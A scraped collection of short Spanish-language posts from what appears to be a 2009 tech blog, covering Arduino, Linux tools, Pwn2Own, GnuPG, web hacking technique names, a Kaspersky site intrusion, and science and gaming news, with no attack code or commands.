    Primer montaje con Arduino

    

    Para practicar con los montajes de forma rapida y sencilla puede ser muy práctico comprar el Arduino KIT Workshop (BricoGeek) que incluye una Placa de prototipado (Breadboard) y mucho material para comenzar.

    Lenguaje: El lenguaje de programación de Arduino está basado en C/C++, soportando la mayoria de las funciones. En la siguiente web tenemos una buena guía Arduino Language Reference

    LED que parpadea:

    Qué es un condensador y cómo funciona (video)

    MAKE presents: The Capacitor from make magazine on Vimeo.

    Video de la fantástica MAKE (Collin Cunningham) explicando el funcionamiento de nuestro amigo electrónico, el condensador (incluso explica la forma de fabricar uno).

    Eso sí, en inglés.

    Visto en:

    BoingBoing

    A-DATA anuncia un disco duro 512Gb XPG SSD

    

    A-DATA

    Será presentado este año en el Cebit. Formato de disco duro de 2,5 pulgadas con 512 Gb de capacidad, es el de más capacidad hasta el momento usando tecnología SSD. La velocidad de transferencia que se anuncia es de 230MB/s de lectura y 160MB/s en escritura (SATA II). 

    El tamaño de la unidad de disco es alucinante, 100x70x9,2 mm.

    Se nos hace la boca agua …

    Visto en:

    Stallman "Linux no es software libre"

    

    Uf, ataque de nuestro venerado Richard Stallman a Linus Torvalds …

    No os perdáis el artículo en:

    Público

    Visto en:

    Barrapunto

    Primeros pasos con Arduino

    

    Comenzamos con este post una serie práctica sobre Arduino  

    Comprar la placa Arduino:

     Hemos probado dos tiendas con excelentes resultados:

       BricoGeek (Muy variada y con envio en 24h)

       e-Lioness (Con los últimos modelos de Arduino, incluido el novedoso Arduino Duemilanove con ATMega328)

    Comenzar con Arduino:

    Windows Linux MacOSX

    NOTA: Para poder programar el nuevo microcontrolador AVR ATMega328 hemos tenido que añadir al archivo boards.txt el siguiente codigo para que lo reconozca: 

    Proyecto Euler

    

    El Proyecto Euler es una recopilación de problemas matemáticos y de programación, aunque en muchas ocasiones no necesitarás aplicar conocimientos matemáticos para resolver los problemas, pero si quieres llegar a una solución óptima y elegante sí que necesitaras de una buena base matemática. El proyecto está enfocado para aquellos que tengan ganas de aprender. Los problemas tienen distintos tipos de dificultad. En listado de los problemas, podrás ver cuanta gente a logrado solucionarlo, por regla de tres, cuanta más gente haya solucionado un problema, más fácil se supone que será su solución. Una de las reglas a seguir, es que tu algoritmo debe dar la solución en un máximo de un minuto. Happy hacking!

    Ripeando discos Blu-ray

    

    En Guizmodo han publicado un artÍculo donde se explica paso a paso y a base de de pantallazos, el proceso de copia de discos Blu-ray. El autor usa el siguiente material:

    • Un ordenador corriendo Windows 7.
    • AnyDVD HD
    • RipBot264 con los siguientes CoDecs: avisynth, ffdshow y Haali media splitter.
    • tsMuxe.
    • Un dispositivo Blu-ray obviamente.
    • Y al menos 80Gb de disco disponible.
    En la noticia, el autor comenta el proceso y además como dije antes proporciona varios pantallazos, de forma que podréis seguir mejor el proceso de como hacer vuestras copias de seguridad.

    Comandos útiles para Linux

    

    En LinuxRadar han publicado un artículo de esos que nos gustan tantos los usuarios de Linux de la vieja escuela, sí, a los que nos gustan la línea de comandos. Tienen recopilado un total de 56 comandos / trucos, de esos que hay que tener a mano por su gran utilidad. Tienen trucos muy básicos y otros no tanto, de los cuales, algunos muy curiosos.

    Hexstatic vs Kris Menace - Invader

    Visto en:

    BoingBoing - OffWorld

    Java4k

    

    Java4k es una web que organiza concursos de juegos escritos en Java, que no ocupen más de 4kb. Aunque el concurso de este año ya se ha cerrado, y el jurado está deliberando, no deja de ser curiose y de gran mérito, escribir un juego en tan sólo 4kb en un lenguaje moderno como es Java. Está claro que la JVM no cuenta. Y si alguno está interesado en concursar en un futuro, aquí podéis encontrar información muy útil.

    Pwn2Own 2009

    

    Pwn2Own 2009 es la tercera edición de este concurso de seguridad que se celebrará en Vancouver desde el 16 al 20 Marzo. Este año quieren poner a prueba la seguridad de navegadores web como Firefox, Chrome y IE 8 corriendo Windows 7 y Firefox y Safari sobre Mac OS X. El otro punto de mira estará puesto en los dispositivos móviles, Blackberry, Android, Symbian, iPhone y Windows Mobile. Los premios serán de $5.000 por bug encontrado en los navegadores y de $10.000 para los bugs en los dispositivos móviles. Además, la persona que encuentre el primer bug en alguno de los dispositivos móviles, se quedará con dicho dispositivo, además de un año de contrato. Y la primera persona que rompa un navegador, se quedará con el portatil (Sony Vaio)  que lo ejecuta.

    IV Entrega

    

    En Kriptópolis nos deleitan con una nueva entrega más del pequeño tutorial sobre la instalación y uso de GnuPG en Windows, para el cifrado de correos electrónicos. Y ya van cuatro. Ya en Cyberhades hablamos de las entregas anteriores. Perdón por la tardanza del aviso, ya que esta última entrega se publicó hace un par de días, pero es que he estado sin conexión desde entonces, que dicho sea de paso me ha venido muy bien para descansar y renovar las neuronas.

    The World is Just Awesome, comercial de Discovery …

    La NASA enviará a la Luna robots pequeños para …

    

    Tal y como indica el post original, serán robots del tamaño de un “cortacesped”. Es obvio que la NASA (y de paso la Humanidad) necesita construir una base que sirva para repostar y también como plataforma de lanzamiento en la Luna, para poder empezar a plantearnos visitas tripuladas a Marte (o a otros lugares del Sistema Solar). Estos pequeños robots sólo serían la primera parte de la construcción del lugar definitivo, pero se encargaría de allanar el terreno, crear las pistas, quitar piedras, etc …

    Encontrado el lugar más antiguo construido por el …

    

    Este lugar puede revolucionar toda la historia de la Humanidad e incluso la Religión, ya que algunos arqueólogos indican que aquí puede estar el origen de la historia del Jardín del Edén. El lugar se llama Gobelki Tepe y encuentra en Turquía. Lo que de momento se ha encontrado son piedras con forma "T",algunas estructuras  y grabados en las piedras donde se muestran animales exóticos, de los cuales entre ellos el más recurrente es la serpiente. Las piedras parece que reprentan a figuras humanas y el lugar parece también que es un templo o un lugar ritual.

    Little Registry Cleaner, otra utilidad gratuita …

    

    Windows

    Todo lo que sea mantener limpio y saludable el registro de Windows es siempre bienvenido. Esta pequeña utilidad gratuita tiene la principal función de eliminar entradas inválidas del registro, las cuales provocan la inestabilidad de Windows y lentitud del mismo. De todas formas puedes configurar el tipo de entradas que quieres eliminar, hacer copia del registro, desinstalador incorporado, etc …

    Mejor echa un vistazo:

    Little Registry Cleaner

    VMWare MVP: usa en tu móvil el Sistema Operativo …

    Esta semana en la VMWorld Europe 2009 en Cannes, VMWare ha demostrado las nuevas características de la nueva tecnlogía hipervisor para móviles. Para ello han ejecutado Windows 6.0 y Android en el mismo dispositivo móvil (un Nokia N800). La tecnología se llama Mobile Virtualization Plataform (MVP).

    La revista IT Pro Magazine ha capturado este video donde se ve en acción el MVP:

    Las imágenes de cada SO ocupan sólo 40Mb y el arranque del MVP 20kb.

    Philip José Farmer, ya está paseando por las …

    

    Philip José Farmer falleció ayer 25 de febrero a los 91 años. Ganó 3 veces el Premio Hugo siendo nominado 7 veces.

    Pero creo que todos lo recordaremos por la fantástica y estupenda novela “El Mundo del Río” (OJO, si no has leido el libro no pulses este enlace, simplemente corre y compra el libro, no te arrepentirás).

    Otra estrella más de la Ciencia Ficción que ya forma parte del Universo.

    ¿Son las fotos de esta serpiente gigante reales?

    

    Publicadas por el London’s Telegraph y tomadas en Borneo (río Baleh), muestran una serpiente gigante de aproximadamente 30 metros de longitud. Así a simple vista parecen un montaje pero no es tan fácil de demostrar, ya que la resolución que tienen es demasiado baja y no permiten su análisis completo.

    Lo curioso es que los nativos del lugar dicen que existe, hasta tiene nombre, Nabau.

    Fijaros que el origen de la noticia es la prestigiosa revista científica Scientific American.

    Haciendo debugging del Kernel de Windows usando …

    

    Usando VMWare Workstation (gratuito para uso personal simplemente con registrarte aquí) para ejecutar máquinas virtuales, que incluye el GDB (ó GNU Debugger) y te permite analizar las máquinas virtuales que corren en VMWare, todo esto en remoto usando el desensamblador IDA  (del que ya hemos hablado antes en CyberHades en nuestro artículo sobre los mejores debuggers). Primero arrancamos la máquina virtual, luego conectamos desde IDA usando GDB y ya tenemos podremos empezar a analizar todo el núcleo de la máquina virtual que estemos ejecutando.

    Jugando con imanes

    Visto en:

    cre.ations.net

    Novedades en Firefox 3.1

    En la Linux expo que se celebró en el sur de California (SCALE), el evangelista de Mozilla, Chirs Blizzard, hizo una presentación sobre algunas de las nuevas características que se incorporarán en la nueva versión de Firefox. Un parseador nativo de JSON (Javascript Object Notation) será incluido en el navegador. Ya que en las aplicaciones AJAX, se está haciendo más uso de esta tecnología que de otras como XML o el propio HTML. Esta puede ser una muy interesante aportación y los programadores empezarán a hacer uso de ella pronto, ya que Microsoft parece tener intención de hacer los mismo con su IE 8. Otro aporte interesante, será la ejecución concurrente en JavaScript. El soporte del elemento de vídeo HTML 5, es otra de las novedades que nos deparará esta  nueva versión. Facilitándonos el manejo de los vídeos desde Javascript a través de la arquitectura DOM. Firefox soportará de “fábrica” los formatos abiertos de audio y vídeo Ogg y Theora respectivamente. Y para finalizar aquí enlazo un fragmento de vídeo de lo que fue la presentación. El vídeo muestra un sistema de sensor de movimientos escrito en Javascript.

    Animator vs Animation

    

    Un gran amigo de nosotros y del blog, “J”, nos ha recomendado este enlace:

    http://www.meaburro.com/juegos/animator_vs_animation.html

    Os recomiendo visionarlo, es una animación en flash  muy divertida.

    Steel Run As: habilita a usuarios derechos de …

    

    Microsoft

    Llevaba tiempo buscando algo parecido a esto y por fin he encontrado esta aplicación. Todo administrador tarde o temprano se enfrenta con el problema de habilitar temporalmente o puntualmente a un usuario para que pueda realizar una función de administrador o instalar algún programa / parche. No nos equivoquemos , nada es comparable al fantástico "sudo" de Linux, pero esta aplicación nos puede ayudar bastante. Funciona de la siguiente manera, primero tenemos que rellenar todos los datos del administrador, el comando a ejecutar y un directorio. Steel Run As crea un fichero ejecutable que el usuario podrá ejecutar, con todos los privilegios del administrador (nota, si tienes la UAC habilitada en Vista, en XP no tendrás este problema, tendrás que elevarla, para saber como pulsa aquí).

    Drizzle

    

    Drizzle es una base de datos ligera pensada para la Web y para la Nube. Esta siendo diseñada para aprovechar al máximo la concurrencia que ofrece la arquitectura multi-nucleo. El código base es una copia (fork) de MySQL. La meta es conseguir una base de datos:

    1. Fiable.
    2. Escalable.
    3. Diseño de fácil instalación y administración.

    Mas información en su wiki y en los grupos de discusión.

    Metadatos en Microsoft Office, por Chema Alonso

    Informática64 - Metadata Security
    View more presentations from chemai64. (tags: chema alonso)

     

    De nuevo, el gran Chema Alonso nos ofrece una lección magistral, esta vez sobre los metadatos.

    Si no sabes qué son los metadatos, deberías de ponerte al día. Los documentos de Microsoft Office, así como los PDF e incluso los de gráficos, almacenan más información de la que crees. Rutas de servidores, nombre de equipos, ficheros, nombre de usuarios, etc ... son almacenados en todos estos documentos, seguro que te llevas una sorpresa de toda la información que se puede recuperar de ellos.

    Linux "wall-wart"

    

    SheevaPlug es un pequeño dispositivo del tamaño de una pequeña fuente de alimentación, de muy bajo consumo con 512MB de RAM y otros 512MB de FLASH y una CPU ARM a 1.2GHz, además de un puerto ethernet y otro USB. Corre Linux como sistema operativo. Y su precio: ~80 euros ($100). Se me ocurren todo tipo de aplicaciones para este gadget.

    Visto en Slashdot

    Arnim Dahl, el hombre sin miedo

    

    Arnim Dahl era un especialista de cine que aparte de trabajar en películas muy importantes (incluso con Kirk Douglas) se hizo famoso por la foto de arriba, al encaramarse a la barandilla del Empire State Building.

    Puedes saber más sobre él en:

    Yaestaellistoquetodolosabe

    Pero lo que no podéis perderos es este fantástico video grabado en los inicios de su carrera:

     

    Y después se habla de ciertos deportes urbanos como si fueran de ahora.

    El ático de Barren, el paraiso del programador

    

    Vaya lugar de trabajo espectacular. Barren estaba cansado de viajar todo el tiempo y decidió crear su propio lugar de trabajo con su propio data center y todo. Un escritorio grande con seis monitores, una habitación con toda la electrónica de red, una biblioteca, etc …

    Barren es programador de sistemas distribuidos para data centers comerciales, programa en Unix, usa Mac y como podéis comprobar, trabaja en casa.

    Como crear y editar .htaccess

    

    El fichero .htaccess (también conocido como Acceso Hipertexto), es un fichero de configuración de un servidor Web, que es usado para controlar el comportamiento, la seguridad y el rendimiento de un sitio web.

    Mientras que muchas maneras de las cuales puedes configurar un fichero .htaccess, los usos más comunes se pueden dividir en estos 5 apartados:

    • Autorización y autentificación.

    • Personalización de respuestas de error.

    • Redirección.

    • Simplificado de URLs.

      Dream (Sheep++): Introducción a desarrollo de …

      

      Si estás interesado en desarrollar aplicaciones para Android, no te pierdas esta pequeña pero completa introducción (en inglés) en la Web:

      ArsTechnica

      Puedes descargar el SDK para Android desde:

      GoogleDev

      Más sobre programar el Android:

      http://blogoscoped.com/archive/2007-11-19-n27.html

      ¿Por qué los infórmaticos tienen tanto tiempo …

      Fuente original

      Cifrado de Emails

      

      Al Admin del magnífico blog de Kriptópolis, está publicando una serie de entradas sobre la encriptación del correo electrónico con GnuPG para Thunderbird sobre Windows. Aunque segun el autor comenta, el proceso es prácticamente el mismo que si usáramos Linux, ya que tanto Thunderbird como GnuPG están disponibles para la plataforma del pingüino. Tal y como corren los tiempos, creo que esto es o debería ser de interés general para cualquiera que haga uso del correo electrónico.

      Mona Lisa en HTML

      Aquí os dejo un video donde podéis ver la generación de la Mona Lisa en HTML usando notepad. No deja de ser curioso.

      El mueble Chewbacca

      Guys Cabinet Door Sounds Exactly like Chewbacca! - watch more funny videos
      Uf, los siento pero no podía evitar postear esto ;) , vaya frikada.

      Top 5 Live CD's

      

      Los mejores 5 Live Cd’s según LifeHacker:

      Knoppix: de los primeros en salir y usado frecuentemente para recuperar datos de discos dañados, basado en Linux.

      Ultimate Boot CD 4: crea un fantástico Live Cd desde la copia legal de tu Windows XP y Windows 2003 Server, donde sacará el boot y luego añadirá una gran colección de utilidades Windows (CCleaner, UltraVNC, utilidades de clonación de disco, etc …)

      Esta noche será visible el cometa Lulin

       

      Imágen: Microsiervos

      Martes por la mañana, antes de amanecer, mirando al suroeste.

      Ya comentamos que Lulin pasaría cerca de la Tierra, a unas 0,47 UA.

      Puedes ver toda la información en nuestra querida:

      Microsiervos

      Top 10 técnicas Web Hacking del 2008

      

      En el siguiente enlace hacen una lista con las diez mejores técnicas de web hacking del 2008. Según el autor de la noticia, han buscado y recolectado alrededor de 70 técnicas diferentes aparecidas en el 2008, de las cuales puntuaron, basándose en la novedad, el impacto y la penetración de las mismas.

      1. GIFAR (Billy Rios, Nathan McFeters, Rob Carter, and John Heasman)

      2. Breaking Google Gears’ Cross-Origin Communication Model (Yair Amit)

      Runhello's Jumpman

       

       Este juego va dedicado a todos aquellos que como yo, se ha criado a la sombra de los gráficos del Spectrum y del Atari 2600.

      Fantástico, tiene hasta editor de niveles y todo.

      Puedes descargarlo desde:

      http://runhello.com/

      Sr. Chinarro

      

       

      “Del montón”

      En CyberHades también somos seguidores de grupos españoles (echa un vistazo a nuestra categoría de música para comprobarlo). No te esperes los grupetes clásicos ni los cantantes de poca monta, aquí solo veras artistas de verdad y poetas, como por ejemplo los componentes de Sr. Chinarro.

      Alguna vez nos hemos encontrado por las calles de El Puerto de Santa María y Cádiz, con Antonio Luque (cantante del grupo),  todo un crack.

      Akuma

      

      Akuma es un proyecto alojado en Java.net. Es una librería Java, que nos permite convertir nuestra aplicación (escrita en Java) en un demonio Unix. Esta librería implementa el API de POSIX, de forma que podemos hacer que nuestra aplicación se ejecute como un proceso en el background, con las mismas propiedades que las de un demonio estandar. Actualmente, esta versión funciona sobre Linux (x86, amd64), Solaris (x86, amd64, sparc, sparcv9) y Mac OS X.

      ¿Fotos de agua líquida en Marte?

      

      Al parecer salpicaron las patas de aterrizaje la sonda Phoenix. El agua se mantiene líquida debido a las sales precloradas pero demasiado salada como para poder albergar vida.

      Maravillosa foto.

      Visto en:

      ElMundo

      Windows 7 en Virtual Box

      

      Si eres de los que se bajaron la beta de Windows 7 y todavía no la has probado por no tener que reparticionar tu disco duro, etc. En ComputerWorld podéis encontrar una entrada donde explican paso a paso, no solo la instalación de Windows 7, sino también la instalación del propio Virtual Box.

      Karmic Koala

      

      El título de este post es el nombre escogido por Mark Shuttleworth para la nueva Ubuntu 9.10. Aunque todavía no han liberado la versión 9.04, Jaunty Jackalope, ya han empezado a trabajar en la 9.10, que será liberada en Octubre de este mismo año. Lo más destacable en la versión servidor, será el enfoque en la tan de moda tecnología, “Computación en la nube” (cloud computing). Según las propias palabras del propietario de Canonical, quieren integrar la API de Amazon EC2 y de esta forma facilitar de la distribución de aplicaciones en la nube directamente o empaquetándolas, cuya tarea será llevada acabo por Ubuntu-vmbuilder. La idea es crear un sistema de empaquetado al estilo APT. Otra las funcionalidades que quieren poner a disposición de los usuarios de la versión servidor, es el proyecto Eucalyptus, el cual te facilitará la creación de tu propia nube al estilo EC2. De hecho este proyecto está actualmente disponible en los repositorios oficiales de la versión 9.04. En la versión de escritorio, pondrán los esfuerzos en la optimización del tiempo de arranque, así como los tiempos de respuesta en el escritorio. Parece que la apuesta en el escritorio tiene las miras puesta en los Netbooks.

      S21sec: Keylogging usando pulsos electromagnéticos …

      

      Ya hemos hablado antes en CyberHades sobre esto, pero no te pierdas la entrada en:

      S21sec

      Ya no te atreverás ni siquiera a pulsar las teclas de tu teclado …

      ¿Mercenarios en Halo 3?

      

      Según informan en The BBC y Daily Tech, algunos jugadores de Halo 3 (Xbox) están siendo atacados a través de DDoS, dejándolos sin conexión. Parece ser que estos ataques se están vendiendo entre $20 y $100. Hay disponibles tanto herramientas para llevar a cabo al ataque o “alquiler” de tiempo de botnets. Visto aquí.

      Guía "How to": más de 60 webs de recursos "How to"

      

      Todos conocemos los “How To”, imprescindibles en nuestra vida diaria como informáticos ;). Aquí podrás encontrar una lista con más de 60 webs para todo tipo de tutoriales “How To” de casi todo.

      Una selección CyberHades:

      wikiHow - Colección de How To’s.

      Expert Village - 130.000 video tutoriales.

      VideoJug - Videos How To para casi todo en la vida.

      The Java Tutorials - Colección de tutoriales Java por Sun.

      Nuevo número de SET (nº36) disponible

      

      No puedes perdértelo (si no los conoces pulsa aquí), puedes descargarlo desde:

      http://www.set-ezine.org/archivo/txt/set36.zip

      Este es el índice:

      0x00   Contenidos                         

      0x01   Editorial                          

      0x02   TOR - Una Verdad a Medias          

      0x03   Bazar de SET                       

            3x01 1er Reto Torneo Shell Warzone (BoF)       

            3x02 Biblioteca del Hacker 3.0                

      0x04   HTTP Fingerprinting                

      0x05   2do Reto Torneo Shell Warzone (HoF)

      0x06   3er Reto Torneo Shell Warzone (BoF)

      0x07   Criptografia Practica 02           

      Destructora de discos duros

      Hipnótico …

      La vida de una estrella, 12 billones de años en 6 …

      De una estrella Clase G (como nuestro Sol) … disfruta del espectáculo.

      Visto en:

      NeatoRama

      Windows PowerShell ISE, entorno gráfico para …

      

      Fantástico,  PowerShell ISE (Integrated Scripting Environment) o PowerShell Gráfico para los amigos. Tienes dos paneles donde puedes ver en uno la salida del comando que has introducido en el otro, y también existe un tercero para crear scripts. Recuerda que ahora, las versiones de Windows 7 y Windows 2008 Server sólo llevaran este shell, así que ya podemos ir olvidándonos de nuestro querido/odiado MSDOS.  

      Si quieres hacer programas bajo PowerShell, te recomendamos mejor las PowerGUI.

      Un día en la vida de Abbey Road

      Abbey Road

      Todos queremos emular a los míticos The Beatles.

      Visto en:

      The Fire Wire

      Usando los coches como nodos de red

      

      Un nuevo sistema de radio inventado en Australia convierte a los coches en nodos de cualquier red y se llama DSRC (Dedicated Short Range Communications, desarrollado por Cohda Wireless). Combina el GPS y WiFi, para hacer que los vehículos se comuniquen entre sí. Con este sistema, los coches se pueden convertir en nodos para una red WiFi ó WiFi hotspots, así que imagínate las enormes posibilidades que se abren usando esta tecnología (sobre todo en seguridad, ya que se podrían perfeccionar muchos de los sensores como proximidad entre coches, cambio de carril, congestión de tráfico, etc …). Todo esto sin mencionar que tendríamos Internet prácticamente en cualquier lugar.

      El nuevo tema de introducción de los Simpsons

      Visto en:

      CrunchGear

      Clases en línea

      

      Academic Earth nos brinda una gran colección de videos de clases de las  mejores universidades del mundo, tales como Berkeley, Harvard, MIT, Princeton, Stanford y Yale. Aquí podéis ver una lista de los profesores que imparten dichas clases. Y también podéis consultar los vídeos por tema.

      Repositorio de imágenes de Virtual Box

      

      VirtualBoxVirtual es un sitio web donde ponen a disposición del público una serie de imágenes de sistemas operativos de fuente abierta (Open Source) en formato VDIs (Virtual Disk Image) para ser usados directamente con Virtual Box, el software de virtualización que fue adquirido por Sun. Aquí nos explican los pasos a seguir para instalar las imágnes que queramos probar. Este es sin duda un magnífico recurso, que si somos de esos que nos gusta probar otros sistemas, nos ahorrará muchísimo tiempo.

      Windows Mobile 6.5 anunciado

      

      Se anunció ayer día 16 en el Mobile World Congress en Barcelona. No hay mucha información pero está claro que la optimización en el manejo de la pantalla táctil es una de las prioridades (desde que el iPhone marcó esta pauta, todos los fabricantes tienden a superarlo).

      Por otro lado se ha cambiado la forma de acceder al menu de opciones (estilo hexagonal como un panal), el Internet Explorer se ha mejorado, también un zoom de pantalla, iconos para tareas comunes, etc …

      Computer Repair Utility Kit, 57 herramientas del …

      

      Windows

      Sistema portable que contiene 57 herramientas de recuperación para tu ordenador. Desde un pendrive o desde una carpeta puedes ejecutar la aplicación la cual instalará un icono en la barra de tareas. Puedes también elegir las aplicaciones que más te interesen como favoritas y así evitar visualizarlas todas. Algunas de las herramientas incluidas, CCleaner, Process Explorer, etc .. así como herramientas antispyware, antimalware, antivirus, etc …

      Totalmente gratuito, puedes descargarlo desde aquí.

      The Ur-Quan Masters

      

      Si te gusta programar juegos (y jugarlos también) sobre todo de estrategia espacial, tienes que probar The Ur-Quan Masters. En 2002 se liberó y publicó el código fuente del fantástico Star Control 2, juego de estrategia espacial con combates espaciales, comercio, exploración, etc … Al hacerlo público, la comunidad open source (sourceforge) ha estado trabajando con el código para crear este nuevo juego tan fantástico como el anterior pero con mejoras creadas por los miles de fans que tiene el juego en Internet.

      Especulando sobre la posible vida extraterreste

       

      Os recomiendo este post de la web:

      CienciaCanija

      Donde se reflexiona sobre nuevos estudios donde es estima la posible población extraterreste y la utilidad del proyecto SETI. Un nuevo estudio de un estudiante llamado Duncan Forgan  avanza que tendría que haber 361 civilizaciones sólo en la Vía Láctea.

      Desde CyberHades animamos al proyecto SETI (incluso participamos) y a cualquier otro cuyo objetivo sea la búsqueda de posible vida en otros planetas.

      Tarjeta de referencia para programar el PDP-11

      

      Sí te gustó programar un PDP-11, aquí tienes la tarjeta de referencia de programación.

      La añadimos a nuestra colección.

      Visto en:

      lab[oratory]

       

      Como crear una escena de ataques de dragones con …

      

      Espectacular tutorial donde te explican paso a paso cómo hacer una escena sobre una foto real de un ataque de dragones. Desde el fuego, las estructuras dañadas, el humo, etc …

      Aparte del titular friki ;) puedes aprender técnicas del fantástico Photoshop.

      Visto en:

      Abduzeedo

      Blizzard ya está preparando un nuevo MMORPG

      

      Foto: GameSpot

      Confirmado (esta noticia lleva desde el 2007 dando vueltas), además de reclutar nuevo personal para un nuevo proyecto, Jeff “Tigole” Kaplan cambia de puesto de trabajo y anuncia lo siguiente:

      Cita de: Nerimash (Fuente)Jeff “Tigole” Kaplan quiere haceros llegar el siguiente mensaje:

      Quería tomarme un momento para haceros saber que he cambiado de posición aquí en Blizzard para trabajar en nuestro próximo, todavía no anunciado, MMO. World of Warcraft ha sido una parte central de mi vida durante estos últimos seis años y medio, y su éxito no hubiera sido posible sin la increíble comunidad que existe alrededor, por eso quería dar las gracias a todos nuestros jugadores que han compartido esta experiencia impresionante con nosotros hasta el momento. Además, si bien he sido el portavoz y Director de Juego de World of Warcraft en Wrath of the Lich King, de ningún modo quiere decir que WoW estaría donde está ahora sin el equipo dedicado que tenemos. El equipo de desarrollo de WoW está compuesto por algunos de los desarrolladores más talentosos y experimentados del mundo, y ha sido todo un honor server entre ellos, y seguirán haciendo que WoW sea mejor que nunca. Pienso seguir muy involucrado en el desarrollo futuro de World of Warcraft, pero dejaré las operaciones del día a día a mis compañeros de aventuras, Tom Chilton y J. Allen Brack.

      Creando tu propio Web Crawler / Web Spider

       

      Ya hemos hablado antes en CyberHades sobre los Web Spiders, ahora os proponemos crear uno propio. Básicamente, un Web Spider es una aplicación que realiza una acción cuando encuentra una página web en concreto (o un link). Por ejemplo puedes crear uno que busque entre todos los links de tus páginas si alguna está caída (error 404), y que luego cree un informe, te envíe un email, etc …

      Fondos de pantalla de juegos retro

      

      Echa un vistazo porque son realmente espectaculares, todos en alta definición. Escenas de vuestros juegos clásicos favoritos desde el punto original de este autor.

      Visto en:

      LifeHacker

      Página del autor:

      http://orioto.deviantart.com/gallery/#Videogame-Remakes

      Bespin

      Bespin es un proyecto de Mozilla Labs cuya idea es crear un editor de programación extensible y abierto. Dicho editor está desarrollado sobre la web, es decir, lo único que necesitas es un navegador. Es un proyecto en versión alfa, con lo cual tiene mucho camino por delante, pero viendo el vídeo introductorio, parece un proyecto muy prometedor.

      Algunas de las características de esta versión son:

      Resolviendo Sudokus

      

      Hace un par de años tuve que hacer una práctica, donde, dado un soduko, tenías que escribir un algoritmo que diera la solución. El lenguaje que tenía que usar era Java y por supuesto para resolver el sudoku tenía que decidir qué algoritmo usar, de acuerdo con la teoría, estudio del costa, etc. Cuando lo terminé anda que no estaba yo orgulloso, de esas veces que programas algo basándote extrictamene en la teoría de algoritmia, etc. Pues bien en este post puedes encontrar una solución bastante peculiar. ¿El lenuaje usado? SQL!!! Sobre una base de datos de MySQL. En la teoría, dicha solución se puede exportar a cualquier base de datos. Una solución más que curiosa.

      Fancy Pants Adventures, juego flash gratuito

      

      Si quieres pasar un buen rato este viernes, prueba:

      https://www.1001juegos.com/juego/fancy-pants-adventure-world

      Un juego de plataformas donde controlas a un personaje hecho con líneas pero con una gran animación y movimiento. Los niveles a superar son amplios y muy bien pensados.

      Para la colección.

      Rubik's TouchCube

      

      Deslizando los dedos por la fila mueves las diferentes filas/columnas del cubo.

      Disponible posiblemente en Navidad de este año.

      Un video para verlo en acción:

      Visto en:

      Engadget

      Coca-Cola Avatar

      LogDigger

      

      Si eres programador Java y desarrollas sobre Firefox, esta extensión te puede interesar. LogDigger es una extensión para Firefox y Firebug que recoje los mensajes de log de Log4j de peticiones de URL y los escribe en la consola de salida de Firebug. LogDigger es gratis, tanto para uso personal como profesional.

      Libros de programación gratuitos (más)

       

      Ya hemos publicado en CyberHades algún post con enlaces a libros gratuitos, pero este hilo que he encontrado en la fantástica StackOverflow es realmente espectacular.

      La pregunta del foro es: What are some good free programming books?

      Y esta es la primera entrada (os hago un copia y pega para tenerlo guardadito en nuestro blog porque es realmente alucinante) pero no os perdáis todos los post de otros usuarios, cada uno puede tener un enlace a otro fantástico libro gratuito:

      Curso de diseño con Blender 3D

      

      Si te interesa aprender un poco de diseño 3D con Blender, en este enlace puedes encontrar un curso lleno de información y de videos que te irán guiando a través del mismo.

      Un chico de 9 años crea una aplicación para iPhone …

       

      Pues sí, el angelito se llama Lim Ding Wen que empezó con 2 años a usar un ordenador, a los 7 empezó a programar y a los 9 años conoce al menos 6 lenguajes de programación diferentes. La aplicación se llama Doodle Kids y te permite dibujar con los dedos en el iPhone (por cierto, hizo la aplicación porque a su hermana le gusta mucho dibujar). Está hecha en Pascal y ha tenido 4.000 descargas desde iTunes en 2 semanas, así que parece que la aplicación gusta bastante.

      Backtrack 4 Beta

      

      Ayer salió a la luz la nueva versión, de la que es posiblemente la mejor distribución basada en Linux orientada a la seguridad.

      Mas información aquí

      Añadiendo funcionalidad a Gedit

      

      Gedit es el editor texto por defecto de Gnome en la mayoría de las distribuciones de Linux. Por defecto, implementa las funciones básicas de un editor de texto, pero a través de su sistema de plugins lo podemos convertir en un poderoso editor. Por defecto Gedit incorpora los siguientes plugins: • Change case: cambia una selección de texto a mayúsculas o minúsculas. • Document statistics: te da información sobre un documento. • External tools: ejecuta comandos del sistema operativo. • File browser: te permite acceder al sistema de ficheros. • Indent: identa las líneas seleccionadas. • Modelines: Soporte del modo de línea de Emacs, Kate y Vim. • Python console: consola de python. • Snippets: ayuda al editado rápido de los bloques de texto más usados. • Sort: ordena un documento o una selección de texto. • Spell: Verifica la ortografía. • Tag list: te ayuda con la inserción de etiquetas o texto de uso frecuente. • Insert Date/Time: inserta la fecha y la hora en la posición del cursor.

      Documentales de ciencia

      

      Si te gusta la ciencia y además te aburre la televisión que tenemos hoy en día, en docuciencia te ofrecen una serie de documentales de ciencia en castellano. Algún documental está en inglés, pero con substítulos.

      Y Kapersky lo confirma...

      

      Hace un par de días comentamos aquí, en Cyberhades sobre un posible hackeo en la web de Kapersky, Pues bien, según parece, Kapersky confirma la noticia, pero a su vez también dice que el intruso no tuvo acceso a ningún tipo de datos de clientes y mucho menos a tarjetas de crédito, como alardeaba el intruso. Según las palabras de Roel Schouwenberg, investigador senior de antivirus en Moscú, “no se ha accedido a ningún tipo de datos”. “El intruso intentó acceder al contenido de las tablas, pero no pudo consguir acceso a dichos datos”.

      Shakespeare

      

      Curioso link con el que me encontré el otro día, donde proporcionan todas la obras de Shakespeare en formato XML. A mi siempre me resulta muy interesante encontrar cualquier tipo de información en formato eléctronico, especialmente, como en este caso, un formato estándar. ¿Quién sabe si algún día necesitas añadir algo de Shakespeare en tu web o aplicación?

      Titán llena lagos de hidrocarburos con lluvia

      

      Los científicos llevan tiempo sospechando que las zonas oscuras de Titán que varían de intensidad, podrían ser lagos de hidrocarburos que se van llenando gracias a la lluvia. Se ha podido confirmar gracias a la sonda Cassini, que lleva tiempo analizando los cambios en dichas zonas oscuras del satélite durante varios años.

      En la atmósfera de Titán suceden sucesos complejos de química orgánica, en realidad es el único objeto del Sistema Solar que  los tiene (aparte de la Tierra claro).

      El nuevo ebook Kindle 2 de Amazon

      

      Más delgado, con sonido integrado, menos pesado, 25% más de batería, 2Gb de memoria, puede convertir cualquier texto a audio, nueva tecnología e-ink con 16 tonos de grises, pasa las páginas 20 veces más rápido que el anterior … etc, etc …

      Lo malo, no tiene WiFi, no se lleva bien con los PDF, no puedes utilizar otros formatos de ebook que no sean de Amazon y lo peor , costará 359$.

      Jugando con los PDF

      

